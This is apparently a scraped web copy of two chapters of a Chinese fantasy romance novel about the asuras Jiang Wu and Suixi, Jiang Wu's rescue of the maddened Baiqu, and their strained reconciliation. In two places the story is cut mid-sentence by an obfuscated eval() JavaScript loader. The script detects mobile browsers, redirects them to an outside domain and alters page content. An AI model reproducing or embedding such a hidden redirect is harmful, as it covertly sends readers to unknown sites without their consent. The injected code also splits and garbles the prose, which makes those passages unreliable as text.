百衢闪身后撤半步。 睢羲上前一把托住了姜芜的后背,施力将她扶了起来,并抬手擦掉了她唇角的鲜血,“如何?” 姜芜摇了摇头,“不碍事,我找到那支商队了。” “去救人。” 睢羲说完便朝着百衢冲了过去,两个大修罗的戾气在无幻之境内碰撞,气浪延绵数千里。 季易和沛然赶来,神情凝重地看着面前的一切。 沛然说:“发生了何事?按理来说,百衢大人虽然近日心情浮躁,但是疯癫之症不会来得如此之快,没有缘由的。” “主战派大抵有特制的药粉,能够提前修罗的疯癫之症。”姜芜说,“你们两个去救人,我去帮睢羲。” 季易伸手扯住了姜芜,“你知晓该怎么办吗?不如同我们一起去救人,不要去添乱。” 姜芜神情淡然地看了季易一眼,“你们应该比我了解疯癫之症,了解无幻之境,也知晓他们两个的关系如何,长夜之后我的双眸同人族没有任何区别,你们二人除去救人之外,记得找到主战派,他们既然有提前疯癫之症的药,必定也有缓解的药,放眼整个无幻之境,谁能杀得了百衢?不要再浪费时间,我们能做得只是拖延时间。”说完,她便甩开长鞭,纵身朝着睢羲掠去。 季易还想开口说些什么,却被沛然一把拦下。 “濯漪说的很对,百衢大人的事情更重要,若是不解决他的事情,无幻之境内恐怕永无宁日。”沛然说,“若是主战派手中真的有缓解疯癫之症的药,对于无幻之境来说确实是一件好事。” 季易咬牙看了沛然一眼,“那便不要再浪费时间了,百衢活下来最重要。” 二人顺着姜芜的血气快速朝着关押商队的囚笼赶去。 姜芜纵身冲到睢羲身侧,甩鞭抽向百衢出招的手臂,硬生生地将他逼退了半步。 睢羲见状立刻把姜芜扯到了自己的身侧,抬手抵住百衢扑来的戾气,“不是说让你去救人吗?留在这里做何事?” 姜芜唇角一勾,“当然是报私仇,借我一点戾气用一下。” “当心一些。” 睢羲神情有些无奈,伸手把姜芜向后一扯,顺便渡了些戾气给她,随即便冲向了百衢。 姜芜迅速掐诀,以剑指抿了一下自己的双眸,四周顿时清晰如白日,她立刻将戾气凝于指尖,凭空画阵将疯癫发狂的百衢困于其中。 “别担心,我已经让季易沛然他们去主战派那边取药了,百衢这次只是因为药物而癫狂,并非没有让他清醒的药。” 睢羲看着在阵法之中挣扎的百衢,心绪复杂,他之前曾设想过这么一天,却不曾想过这一天来得如此之快,眨眼之间便近在眼前。 百衢突然嘶吼一声,周身戾气大涨,直接将囚困法阵吞噬,气势汹汹地从其中冲了出来。 睢羲见状伸手推开姜芜,抬掌对上了来势汹汹的百衢。 璧畲玺从远处袭来,好整以暇地看着缠斗在一起的二人,随即扬声道:“濯漪,听闻你熟知人族之道,今日他们二人这般算不算手足相残呢?” 姜芜问道:“让修罗提前陷入疯癫的药也是从厍灯那处得来的吗?” “是与不是,你又能如何呢?” 百衢与睢羲之间伯仲之间,难分上下,相互消耗着彼此,只等强弩之末时,但凡有一方出现差池,胜负即分。 睢羲神情凝重地看着一脸木然的百衢,大部分都在防守着百衢的进攻,妄图将其制服,搏一线生机。 璧畲玺仰头看着二人,随口道:“睢羲似乎大不如从前了,听闻他大限将至,今日一见传闻不假。” 姜芜飞身上前,甩鞭击向璧畲玺,质问道:“厍灯在哪?” 璧畲玺闪身躲避,狞笑道:“濯漪,你死心吧,根本没有那种延缓的药,十方楼怎会帮修罗做事,而且在杀百衢这件事上,我们怎么可能留退路呢?你不如想想办法,如何杀死百衢吧,或者......” 姜芜神情担忧地看向二人,追问道:“或者什么?” 璧畲玺神情癫狂,比百衢还要像癫狂,“或者看百衢杀死睢羲,也不知晓这个药粉能坚持多久,百衢是否还有醒来的可能,若是他以后清醒了,发觉亲手杀死自己的至交好友,不知会作何感想。” 姜芜闻言收回了目光,她神情冷淡地看着璧畲玺,“你很喜欢看这种自相残杀的戏码吗?” “当然。”璧畲玺轻轻耸肩,他抬手指向二人,“你看,胜负即将分晓,睢羲要坚持不住了。修罗一旦拥有了情感便会拥有顾虑,若是处于无知无觉的状态,自然心无旁骛,那将会成为踏平人间的绝佳利器!” 姜芜挑眉,面不改色地说:“你们想驯化疯癫的修罗?这倒是个有趣的想法。” 睢羲击退百衢,眉心微不可查地一拢,过多的使用戾气,导致太初剑的剑气又开始侵蚀他的心脉,他不得已分了神,放缓手上的动作。 百衢见时机到来,一掌拍在了睢羲身前的旧患处。 “睢羲!” 姜芜迅速上前接住睢羲,两人滚落在沙地之中,她迅速起身将睢羲护在身后,面无表情地抬眸看向百衢,眼底的血色逐渐蔓延出来。 姜芜看着百衢从天而降,铺天盖地的戾气将她与睢羲包裹,而百衢的身影却突然与她想象中的段怀野重叠。 姜芜周身抑制不住地颤抖了起来。 三百二十八年前,在无幻之境同人间的交界地,段怀野支开姜芜,独自将睢羲约了出来,等姜芜察觉到不对劲赶过来时,一切已经到了无法挽回的地步。 姜芜虽然没有亲眼见过,但是时时刻刻不在幻想着那天的情景,日日夜夜的深陷在痛苦与纠结之中。 她恨睢羲,恨他杀了段怀野,恨他为何不留段怀野一命,恨他给自己留一条活路。 她恨段怀野,恨他欺骗自己,恨他出尔反尔,恨他私自伤了睢羲。 只要睢羲能好好活着,姜芜可以什么都不要。 睢羲神情焦急地伸手扳过姜芜的脸,“回神,离开这里,快!”说完,他便把姜芜推了出去。 姜芜任由自己被睢羲推出去,在黄沙地中翻滚几圈,等她回过神来时,已经用无心乱刺穿了百衢的心口,将他钉在了土柱的顶端。 璧畲玺大惊,方才发生的一切过于的电光火石,他甚至没有看清姜芜是如何冲上去,又是如何制服了来势汹汹的百衢。 姜芜割破了自己的双腕,鲜血正顺着无心乱的剑刃缓缓地流进百衢的心脏之中,她看着后者逐渐清明的双眸,神情痛苦地说:“谁也不能在我面前伤害他,谁也不能从我身边夺走他,他是我的!” 姜芜面上的血色逐渐消退了下去,她将全身近半数的鲜血渡进了百衢的体内,这些血足够后者几千年无忧,不受疯癫侵蚀神志。 璧畲玺震惊地看着百衢逐渐平静了下来,他从来不知晓姜芜有如此本事,居然能够延缓修罗的疯癫之症。 “睢羲,你可真是得了个好宝贝的。”说完,璧畲玺飞身离开。 姜芜因为失血过多而身体虚浮,寒冷侵染着她的指尖,逐渐向心脉靠拢,她无力地垂下了手,整个人不受控制地从土柱上摔了下去。 睢羲吃力地起身,上前接住了姜芜。 姜芜神情迷离地看着从伤口中流出的鲜血,成片的红色浸染了白色的衣袖,她费力地抬起冷汗津津的手,用戾气引着没入了睢羲的伤口中,“忘记有没有用了,可千万别浪费了。” 睢羲立刻伸手抚平了姜芜的伤口,自责道:“不要再浪费给我了。” 姜芜抬眸看了睢羲一眼,往他的怀中深埋了几分,说出了她常常止于唇齿的一句话,“睢羲,回家吧,我想回家。” 季易和沛然带着商队四人赶来时,一切都已经尘埃落定。 季易看着土柱上百衢一动不动的身体,有些难以置信地问道:“百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686017|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衢死了?” 百衢翻身而起,神情复杂地说:“还没有死。” 百衢看着胸前正在愈合的伤口,从土柱上飞了下来,他看了一眼睢羲怀中昏迷不醒的姜芜,随后长长地叹了一息。 季易笑着说:“百衢,你没事真是太好了。” 百衢看着那几个人族,神情有些烦躁地挥了挥手,“把他们送出无幻之境吧。” 舒星立刻拿出早已经准备好的盒子,壮着胆子说:“这是……这是我们的一点心意,谢谢你们……” 季易闻言伸手接过盒子并打开,“这都是些什么?珠宝首饰吗?无用的东西。” 百衢及时道:“留下吧,给濯漪。” 季易递出去的手一顿,又缓缓地收了回来,“走吧,我们带你们出去。” 待众人走后,百衢欲言又止地看着睢羲,他觉得自己有必要说一句谢谢,但是姜芜没有醒,贸然说话可能会招致睢羲的不悦,毕竟这件事情是因为他的疏忽而导致的。 “她……她没事吧?” 睢羲率先开口,“无事,只是失血过多。人已经救出来了,先回去吧。关于主战派,现下应该从长计议了。” 百衢欲言又止地看着睢羲,最终神情无奈地说:“睢羲,不要再怀疑了,在濯漪的心里你真的很重要,你比任何一切都重要,她之前不喜我提柏雨,现下主动在璧畲玺面前暴露身份,只是为了救你。虽然我看不惯她的作风,但是我不否认她对你的情感之深。” 睢羲垂眸看着姜芜,轻轻地应了一声。 两人一前一后离开了魔鬼城。 濯漪意识朦胧地起身,她四下看了看,缓慢地挪动到小桌旁倒了一杯凉水喝下,随即缩起沉重的身体。 此时的树洞只是开了一间可容纳床榻的一小部分,树干开辟出做大门的地方被睢羲封了一道抵挡风沙的结界。 濯漪也不知晓自己这种情况持续了多久,她觉得自己快要死掉了,意识昏沉、提不起力气不说,浑身痛得要命,她觉得自己等不到睢羲回来了。 极有可能睢羲回来看到的便是一具尸体,濯漪也不知晓修罗死后会不会留下尸体。 濯漪意识昏沉地想着,片刻后她撑着身体爬起来,觉得好好的一处睡觉的地方,不能过于脏乱,要死她也应该死到树屋外面去。 濯漪跌跌撞撞地往外走着,刚踏出结界一步,便被外面的风沙呛到,咳了个死去活来。 “怎么了?” 睢羲抱起濯漪的一瞬间便觉得她浑身滚烫,他将濯漪抱进树洞放到了床榻上,倒了水来让她压咳嗽。 “呀,您回来了,我感觉我好像给您添麻烦了,我要死掉了。” 睢羲闻言想起从前的种种,心跳一顿,他拨开濯漪脸上凌乱的头发,温声道:“不要说傻话,你不会死的。” “谢谢您这段时间不求回报地收留我,我从昨日开始便好难受,浑身都痛,我很开心能遇到您,如果阿灯也有我这般幸运便好了。能遇到您,真的是太好了。” 濯漪说着蜷缩起了身体,难过的眼泪不自觉地流了出来。 睢羲听着濯漪的话觉得又好笑又无奈,“别说胡话了,我带你去看大夫。”说完,他抬手拭去濯漪脸上的眼泪。 濯漪睁着一双水蒙蒙的眼睛看着睢羲,半信半疑地问道:“看大夫?我生病了吗?修罗也会生病吗?” 睢羲解下身上的斗篷将濯漪裹了起来,随即稳稳当当地将她抱了起来。 濯漪靠在睢羲的怀中,絮絮叨叨地说着,“我对您来说是个累赘吧,您那么强,我这么弱,身为修罗居然还会生病,还要麻烦您照顾我,带我去看大夫,我真的是给您添了太多的麻烦了。” 睢羲抱着濯漪往人间赶去,闻言将她抱得更紧了些,“少说几句。” 濯漪讶然,继续道:“而且我还话很多,总会惹您心烦,您跟我非亲非故的,既不愿意认我做女儿,也不想当我的哥哥,要是别的,我提出来您要是不答应,我还能待在您身边,受您庇护吗?” “现下让你少说几句,只是让你保存体力,等身子好了,想说什么都可以说。”睢羲说,“安心待着便好,不用想一些其他的,也不必因为想从我这里得到庇护便设想一些其他的,即便是没有一些附加关系,我也会保护你的。” 濯漪心中虽然不解,但依旧感觉到了幸福,她勾唇笑了起来,“那我可真是太幸运了,居然能遇到您这般好的修罗,一定是我前世修来的福气。” “因为你之前也保护过我,具体的事情以后便知晓了。” 睢羲带着濯漪到人间看了大夫,抓了几副草药,又置办了一些吃食和被褥,草药煮开后,整个狭小的树屋都弥漫着一股呛人的药味。 濯漪裹着被子蔫头耷脑地坐在床上,将被子塞了又塞还是觉得有漏风的地方。 睢羲端着一碗炖梨汤走了进来,用勺子盛了喂给濯漪,“很冷吗?” “还好只是没有精神,想睡又睡不着。”濯漪摇了摇头,伸手接过了汤碗,“我自己来吧。” “慢一点喝。” 濯漪咬着煮得软塌塌的梨块,总觉得梨汤的味道很怪,喝了两口便没了兴致,“您喜欢梨子吗?如果可以的话,下次可以在外面种一棵梨树,这样每年都有新鲜的梨子可以吃了。” 睢羲看了一眼濯漪捧着碗,一副不想再喝的模样,便开口解释道:“梨块和枸杞一起煮可以生津润肺,止咳平喘,不好喝也要多喝一些。” 濯漪闷闷地应了一声,随即一口气喝完了全部的梨汤。 睢羲见状将买来的吃食放在了濯漪面前,“吃些东西,填饱肚子才能喝药。” 姜芜看着梦中的那堆吃食,睁开双眸醒了过来,起身时只觉得眼前阵阵发黑,头重脚轻得浑身无力,她看到床榻边矮几上的温水,端过来缓缓地饮下。 “睢羲?” 92. 心思 姜芜起身从衣施上取下外袍披在肩上,随后顺着木阶向下走去,巡视整个树屋都没有看到睢羲的身影,心中难免有些惴惴不安。 “睢羲?” 一阵饭香味由远及近,姜芜顺着气味走出了树屋,她看着挽着袖子正准备切生猪肝的睢羲,心中顿时松了一口气,缓缓地走了上去。 “在做饭吗?炒猪肝?” 姜芜靠在一旁的水缸上,偏头看着案板上的生猪肝,气息有些不稳,“生猪肝用刀切的话,可能会散得到处都是,不好收拾。” 睢羲问道:“那该如何做?你同我讲一讲。” 姜芜上前预备接过睢羲手中菜刀,“我来吧,猪肝需要先焯一下水,然后再切。” 睢羲躲开姜芜的手,“不用,我来,你去休息。”说完,他寻了绳将猪肝打结捆起,用戾气烧热了水,将猪肝下锅焯水。 “我睡了多久?”姜芜上前靠在睢羲的后背上,“你的伤如何?” 睢羲用笊篱将猪肝捞起放在了案板上,解开绳结,用菜刀切成片。 “一个时辰而已,再去休息会吧。” 姜芜怕妨碍到睢羲,又退回到了水缸旁,摇着头说:“不睡了,总是做梦。” 睢羲手上的动作一顿,头也不抬地问道:“梦见什么了?” 姜芜如实道:“梦见我生病,你带我去看大夫,还煮梨汤给我喝,让我不要日日担忧,即便是没有其他的附加关系,你也会保护我,让我安心待着,不要去胡思乱想。” 睢羲应了一声,将切好的猪肝放在盘中,准备炝锅爆香,“也是很多年前的事情了。” 姜芜见睢羲取了些茶叶扔进了油锅中翻炒,又将焯好水的排骨倒入锅中,随即添热水放入了葱结和八角,动作虽然算不上熟练,但也不至于手忙脚乱。 “你是何时学的这些?” “无事之时,味道还可以,过会你可以尝尝。”睢羲抬手打发姜芜去休息,“我煮了茶,还有点心和水果,如果不睡觉便去坐一会,马上便能吃饭。” “你是生气呢,还是说我在这里看你下厨,你觉得不好意思?”姜芜的神情有些无奈,“你下厨,我肯定要看着啊,这些大部分都是要给我吃的,你又没怎么下过厨,万一我吃得不舒服呢,难不成你想害我?” 睢羲看着姜芜撑着水缸站立,面色似金纸般难看,心中有些过意不去,“没有不好意思,肯定都是熟的。” “那就是生气喽。” 姜芜说完便探头看向睢羲,见后者下颌紧绷似乎有些不悦,便笑着打哈哈,气息虚浮地说:“好了,不问你了,年纪大了,有心事也是正常。” 睢羲放下手中的厨具,默不作声地看着姜芜。 姜芜勾唇笑了起来,她的呼吸有些急促,手心中溢出了细密的冷汗,“好好好,不逗你了,我在这里休息会再过去,不打扰你。” 睢羲见状俯身把姜芜抱了起来,快走几步将她放在了矮桌旁的软垫上,他倒了杯热茶,伸手握住姜芜的手腕,从她的纳袋中取出来一堆瓶瓶罐罐。 “吃哪一个?” 姜芜抬手勾到了一个瓶子,从其中倒了一粒药塞进了口中,“给出去的血太多了,如果你能给我点戾气便好了。” 睢羲握着姜芜的手,渡了些戾气给她,“以你现下的身体状况,在没有解开血契和同心咒的情况下,噬魂骨钉可以帮你免受其干扰,最起码不会让你陷入没日没夜的疼痛之中。” 姜芜抬眸看着睢羲,探头上前吻了吻那双饱满的唇,轻声说:“这样给不行吗?” 睢羲看着姜芜,沉默不语。 “你怎么了?昨天你可不是这样的,还是说你不愿意这样渡我戾气,那只让我吻你行不行?” 姜芜见状继续凑上前亲吻睢羲的双唇,缓慢地深入其中,将口中清苦的药味分享给他。 睢羲拉下姜芜攀到他身上的手臂,分开了两人的距离,默不作声地看着她,心中不懂姜芜现下这般做的含义,像是一头被欲望支配的野兽,即便是拖着伤痕累累的身体,也要做一颗饱满熟透的果子,只是单单靠近去闻,便能嗅到香甜迷人的气息。 姜芜总能做出一些让睢羲摇摆不定的事情,同他讲一心一意,与他翻云覆雨,又许他另觅他人。 姜芜追着上前啄吻了几下,心满意足地说:“别的不谈,其余的修罗对待感情一事都是随心所欲,所以即便是千仇万恨,劳燕分飞,但是我们之间还能谈些感情之外的东西。” “谈感情之外的东西,我就把你赶出去。”睢羲说,“我之前想得是在我死之前,你哪里都不能去,若是你执意要走,那我便不要你了,无论你是否会回来,我都不会要你。” 姜芜揉着睢羲的唇角,忍受着胸腔内一阵又一阵撕裂般的疼痛,她现下分不清是伤心难过之痛,还是缺氧导致的脏器痛,唯一能做的便是维系住面上的神情,她怕自己哭出来让睢羲很为难,只能隐忍着说:“现下呢?现下想的是什么?这里也是我的家,你不能把我赶出去。” “对不起,是我太自私了,我不应该逼迫你,让你为难的,也不应该禁锢住你,让你失去自由,但是我又不能看着你去做那件事情。”睢羲把姜芜拢进怀中,轻轻地拍着她的后背,帮她顺气,“所有生灵都有活下去的权力,他们需要那些灵气,事已至此,放弃我吧,现下这样便足够了,我已经很满意了,我不习惯没有你的生活,要怪就怪缘分太浅吧。不过,这些缘分都是我们强求来的。” 姜芜又生了逃避的心思,她拢着眉心,神情有些不悦,“怎么又要继续谈这件事情?不谈不行吗?” 睢羲把姜芜抱得更紧了些,尾音发颤,“因为你骗到我了,你真的骗到我了,若不是百衢将那些话告诉我,我是真的以为你铁了心肠,而且你本身便亲近人族,我真以为你又要再次抛下我。” 姜芜垂下双眸,轻轻地抚着睢羲的后背,“第一次也不是故意的,是他们让我去的。我不想去,挖心很痛,但是他们说若是不那般,天下生灵将不复存在,你也不例外。” 睢羲想起当时之事,神情痛苦地合上了双眸,“所以,你活着才是最重要的。” 不周山柱倒塌,天空塌陷,万顷河水奔腾之下,眨眼之间吞噬无数生灵,长夜永存,人间也见天光。 睢羲当时本想带着姜芜避难,但是却等来了她的告别。 姜芜心中有些后悔,她失控了很多次,无意识中说出了很多真心话,睢羲数次攻破她的心防,逼她让步,让她坦诚,她也很不争气的这般做了。 姜芜不想再继续这个话题。 “睢羲,我们去人间吧。” 睢羲起身看着姜芜,“去人间做何事?” 姜芜说:“去查查那个法阵的下落,就在格力特和工格栅部落之间,那支商队便是如此来得无幻之境,若是那个法阵还存在,需要尽快毁掉,而且我怀疑同那三只大妖突然离开大荒来到人间有关。” “好,等你养好身子之后便去。”睢羲起身说,“我去看看排骨炖好了没有,马上便能吃饭了。” 姜芜笑着目送睢羲走远,随即收敛笑容,身心疲惫地按了按眉心,她将散落在四周的药瓶收了起来,思索着下一步该如何做。 睢羲端着饭菜折回来时,姜芜已经靠在桌前睡熟了,他放下饭菜正准备叫醒姜芜时,却察觉到了结界的异样。 睢羲抬眸看了一眼百衢三人,随即俯身晃了晃姜芜的肩膀,“吃过饭再睡,百衢他们来了,你要趁热吃,我去问问他们何事。” 姜芜睡眼朦胧地睁开双眸,先是抬眸看了一眼睢羲,醒了醒神才说:“喊他们进来一起吃吧,这么多我也吃不完,不要浪费了。” “好。” 睢羲多添了三副碗筷。 百衢进门后便将手中的盒子放到了姜芜的面前,他有些不自然地揉了揉鼻尖,“这是那支商队给你的,说是要报答救命之恩。” 姜芜闻言抬眸看了百衢一眼,声音微弱地说:“别站着了,坐吧,季易和沛然也坐。”说完,她便抬手将盒子打开,扫了一眼其中的珠宝首饰,最终从里面挑了一块檀木原料。 姜芜掂着手中的檀木原料,随即抬眸看向一旁的睢羲,木料一掌的宽度,却有着堪比手臂的高度。 睢羲盛了碗柔鱼汤放在姜芜的手边,“做何用?” 姜芜双眸亮晶晶的,毫不掩饰自己对这块木料的喜爱,“雕东西。” 睢羲应了一声,“雕刻东西耗精气神,耗气血,等身子养好了再雕。” 季易和沛然十分拘谨地坐了下来,他们不经常吃人族的东西,但是现下桌上的饭菜香味特别,确实有些诱人。 睢羲取了公筷,将每样饭菜单独盛了一部分出来,随即对其余三人说:“不必客气,尝尝合不合口味。” 姜芜从纳袋中取了两坛酒放在了桌上,“你们随意就好。”说完,她便低头开始吃饭,嚼着睢羲剔好的黄铜鱼。 “你又出去了?” 姜芜吃一口鱼肉便知晓不是陈鱼,必定是睢羲又离开无幻之境前往并州购得。 睢羲解释道:“来回不过一盏茶的时间,无事,多吃一些。” 姜芜默不作声地喝了一口柔鱼汤。 百衢取过酒坛,仰头灌了一口,他将酒坛猛地往桌上一放,“濯漪,这次的事情多亏了你,若不是你,我恐怕便回不来了,谢谢。” 姜芜周身一愣,她抬眸看向百衢,有些意外地说:“你不必如此,之前如何待我,以后如何待我便可,不用放在心上,这些事情一码归一码。” 百衢抬眸扫了睢羲一眼,默不作声喝起了酒。 季易和沛然则是一直眼观鼻,一个劲地埋头吃饭,他们深知这不是应该说话的时候。 几人吃过饭后,睢羲便开始收拾碗筷,姜芜本想着帮忙,但是酒足饭饱以后头晕更甚,只能作罢。 沛然见状立刻起身帮衬着睢羲收拾,却被后者勒令坐在原处。 姜芜见百衢三人没有要走的意思,只能强打起精神煮茶。 百衢问道:“你以后还会走吗?” 姜芜单手撑着下颌,合眸小憩,“不要问些有的没的。” “我觉得这件事情很重要。”百衢说,“你若是不走了,留在无幻之境,睢羲必定会很开心的。” 姜芜有些不耐烦地说:“我的事情同你没有关系。” 百衢面色一凛,“那便是还要走,还要去封印无幻之境,你自己死了倒是一了百了,你以后让其他修罗怎么看待睢羲?让他替你背一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她居然同我讲为人间正道!你到底是怎么想的?”百衢看着正在洗刷碗筷的睢羲,心中更加不愤,“你若是真狠得下心,还用做这些人族的反锁事?” 睢羲取了帕子擦干净手上的水珠,“平时这些事情都是姜芜在做,今天她确实不舒服。而且我已经这般了,只要她愿意留下,怎样都好说。” 百衢瞪了睢羲一眼,“你这个笨脑子,天天有人伺候着,饭来张口,衣来伸手,晚上还有人暖床,姜芜又不傻,她肯定不走啊,就你这个傻子觉得她是真心留下的。” 睢羲沉默了片刻,随后才同百衢说:“濯漪……其实不是你想的那般……” 百衢见状幽幽地叹了一息,往两只碗里倒满了酒,“说不出口便不说了,喝吧,若是你说贪图一些其他的东西,我觉得也总好比图她这个人强。图她能控制戾气也好,图她不会让修罗陷入疯癫也罢,而且她居然还能让疯癫的修罗清醒过来,真是闻所未闻!无论如何,也比图她这个人强啊,兄弟,别这么没出息,不要总是觉得自己亏欠于她。你欠她什么啊,你什么都不欠她的,命都快搭进去了,还要怎样?” 睢羲仰头喝了半碗酒,默不作声地听着百衢的话。 百衢回忆着之前的事情,无奈地叹了口气,“当初你说段怀野图谋不轨,想要濯漪的命,你要去了解了他,若是那次我能同你一起去便好喽,我们二人还怕他一个凡人不成?” 睢羲闻言拍了拍百衢的肩膀,宽慰道:“不必挂怀,各自有命。” 百衢碰了一下睢羲的酒碗,仰头饮尽,感慨道:“这叫个什么命啊。” 百衢心中虽有感慨与无奈,但也逐渐在诛杀疯癫修罗中化为了麻木,他同睢羲杀了数不胜数的修罗与人族,两人只是并肩站着,便有大量的鲜血从头淋下,双手洗得再干净,也有挥散不去的血腥味。 两个人甚至约定过,但凡其中一人先于另一个人疯癫,清醒之人便有义务将疯癫之人追杀至天涯海角,毕竟在这偌大的无幻之境中,只有对方才有杀死自己的能力。 为了摆脱这种每时每刻都窒息,百衢选择了花天酒地,去放纵去消耗,而睢羲却选择了一种截然不同的方式。 他选择了濯漪一人,一点都不腻烦地同濯漪玩起了过家家的游戏,对着一颗巨树内部开了又开,外面的沙地垦了又垦,为了能够栽种植物,不嫌麻烦从人间运来大量的泥土,完完全全把濯漪这里当做了归属地和安乐窝。 “至于主战派……” 百衢摆了摆手,“别提了,他们爱如何便如何,都是些小打小闹,犯不上为他们闹心,只要不闹到我眼前来,都是些小事。” 睢羲说:“还是要上些心的,因为那些药粉,若是他们用那些东西让所有修罗都陷入疯癫状态……怕是大事不妙……” 百衢问道:“你怎么吞吞吐吐,是怕他们还有杀手锏?有法子控制那些疯癫修罗,然后打破结界,大肆进攻人间?那样的话,确实没法子。我做修罗王,纯属是因为厉害,可没说过要约束修罗。” 睢羲颔首,“不妨碍有这种可能,当年厍灯撞破结界,便有主战派去到了人间,屠杀了一整个村庄。到时……段怀野指不定又有其他新法子。” 百衢看了睢羲一眼,点了点头说:“那般确实麻烦,指不定他又要从濯漪身上算计些东西。” 睢羲沉默地喝干了碗中的酒。 百衢说:“濯漪要是去人间调查,你就是带着季易沛然一起,省得她带你涉险,你们连个后手都没有。” 93. 筹谋 姜芜撑到睢羲将三人送走,终于忍不住趴在毯子上昏睡了过去。 睢羲见状俯身盯着姜芜看了片刻,随后脱了外袍盖在了她身上,便坐于一旁喝茶,顺便取了笔墨纸砚,继续看着手中的那卷天书,边将看不懂的段落摘抄下来,尝试着破译。 姜芜睡得很不安慰,耳边总有狂风骤雨之声,她无意识地裹着睢羲的外袍翻来覆去,牙齿死死地咬着唇内侧的皮肉,即便是她已经感觉到了疼痛,但是依旧无法从这种似睡非睡的状态中醒来。 睢羲闻声将天书收回袖袋中,上前躺在了姜芜身侧,一点一点地将她咬住的唇肉抿开。 姜芜瞬间惊醒,她神情迷茫地看着睢羲,感受到了口中逐渐蔓延开的血腥味,她松开紧握的双拳,神情有些无助地看着上面浸血的指印。 “我睡着了?还是没有睡着?” 睢羲取过姜芜的手,吻了吻上面的指印,随后让她环住了自己,轻拍着她的后背。 “我以为能睡得很好,一觉到天亮的那种。” 睢羲调整了一番姿势,把姜芜整个包裹了起来,“可能是因为身子不舒服的原因,继续睡吧,百衢的事情……” 姜芜醒了醒神,她伸手按在了睢羲的双唇上,阻止了他接下去的话,并施力按压了几下,笑着说:“你什么时候喝酒了,怎么不喊我一起。百衢的事情,你什么都不用说。” 睢羲同姜芜分开了一段距离,避免酒气熏到她,“好,我不讲。饭后同百衢喝的,就一点。” “干嘛呀。”姜芜追着埋进了睢羲的怀中,轻轻地蹭了蹭他的襟口,“没说嫌弃你。” 睢羲抚摸着姜芜的头发,“你现下是答应我了吗?我想要你一个答案。” 姜芜动作一顿,沉默地靠在睢羲的怀中,片刻后才说:“没有答案,骗过你一次了,不想再骗你了,虽然那次歪打正着,但是谁知晓下次呢。” 睢羲说:“你若是为我,我现下便可以去死,你若是为了人间生灵,那我会阻你,因为我只要你活着。你若是难以抉择,那我便替你做决定。离了我,你有那么多朋友,照旧会活得很好。” “是不是百衢又同你讲什么了?饭前还说不逼我的,饭后又回到了这个问题上,你这样容易活得很累,答案有那么重要吗?”姜芜伸手推开睢羲,平躺于毛毯上,“不用你替我做决定,只需要你给我一点时间考虑便可。” 睢羲蹙眉,追问道:“关乎于你怎么不重要?要多久时间?” 姜芜说:“半个月。” “好,我等你。”睢羲抬手理了理盖在姜芜身上的外袍,“继续睡吧。” 姜芜掀开外袍起身,她长长地舒了一口气,“不睡了,我要去洗澡,现下几时了?” “酉时末,我去烧热水,不要洗凉水。”睢羲伸手握住姜芜的手腕,察觉到自己又在逼迫她,可是这种事情或左或右只要违背姜芜自己的意愿,都是逼迫,但是睢羲又不能放任姜芜去走自己的路,于是便形成了当下这副羝羊触藩的局面。 睢羲并不贪心,他不想要鱼和熊掌,只想要他的濯濯能够康健、平安、快乐。 睢羲怕自己把她逼得太紧,惹得她心生不快,说不定又要一声不响地离开,便软声安抚道:“但是你现下这个情况,不应该洗那么勤。” 睢羲太了解姜芜了,虽然平时看起来温温和和的,但是只要是她认定的事情,除非达到她的目的,否则她是不会轻而易举的放弃。 睢羲这般做也是因为心中过度的恐惧与惊慌,他已经无法再重复一次姜芜死亡的事情,他想让姜芜放弃,想要个令他安心的答案,他不住地反反复复要姜芜一句肯定,不要哄骗只要肯定。 姜芜也是如此的了解他,所以从不说谎话骗他。 在这件事情上,他们谁也说服不了谁。 姜芜垂眸思忖了片刻,就在睢羲以为她生气不想同人讲话时,姜芜突然动手解起了自己的衣裳,捏着衣襟左右闻了闻,轻声说:“可是我今天出了很多虚汗,要不然你闻闻?” 姜芜捏着衣襟俯身贴到睢羲面前,双唇蹭了一下他无意识拢起的眉心。 “生气烦忧便会变丑,你变丑了,我也不要你了!” 睢羲看着姜芜色厉内荏的模样,顿时忍俊不禁。 “我真是拿你没辙。” 睢羲垂眸看着姜芜白皙肌肤上几片突兀的痕迹与齿痕,衣服上的熏香混着温热的气息萦绕于他的鼻尖,灼热的气息扑红那片肌肤,又重新弹回他的面上。 姜芜拿肩膀顶了顶睢羲的下颌,“你说是不是有股不太好闻的气息?闻一闻。” 睢羲贴在姜芜心口的位置,轻轻地嗅了嗅,“没有。” “真的?” 睢羲声音喑哑又发颤,拢在姜芜腰上的手臂不断地收紧,抬头咬了一下她的下颌,十分克制地□□了下去,发泄般地吮了几块新的痕迹上去,随后迅速起身,“我去烧热水。” 姜芜看着睢羲落荒而逃的背影没忍住笑出了声。 姜芜洗漱完后便躺在床榻上翻话本,睢羲带着一身微凉的水汽,衣裳裹得板正上前取走了她手中的书,随即熄灭了灯。 “睡觉,看书伤神。” 姜芜应了一声,伸手扯了被子盖在身上,她已经很困了,为了等睢羲只能强打起精神来看话本提神,睢羲回来,她的目的便达到了。 睢羲平躺在床榻上,同姜芜隔了一段距离。 姜芜偏头看了睢羲一眼,不解他这般做的原因,便扯着身上的被子盖到了他身上,嘀咕道:“还是靠着你睡比较暖和,冷了我睡不着。” “很冷吗?” 姜芜手脚并用地缠在睢羲身上,合着双眸说:“感觉是不暖和,但是靠着你便很暖和。” 睢羲偏头看向姜芜,即便是在黑暗中他也能看清姜芜憔悴的面容,他伸手抚开那些碍事的碎发,一遍又一遍地描摹着她的五官。 姜芜睁开双眸去看睢羲,半撑起身去亲吻他的眉心、鼻梁以及双唇,单手别着耳畔垂下来的长发,神情沉迷。 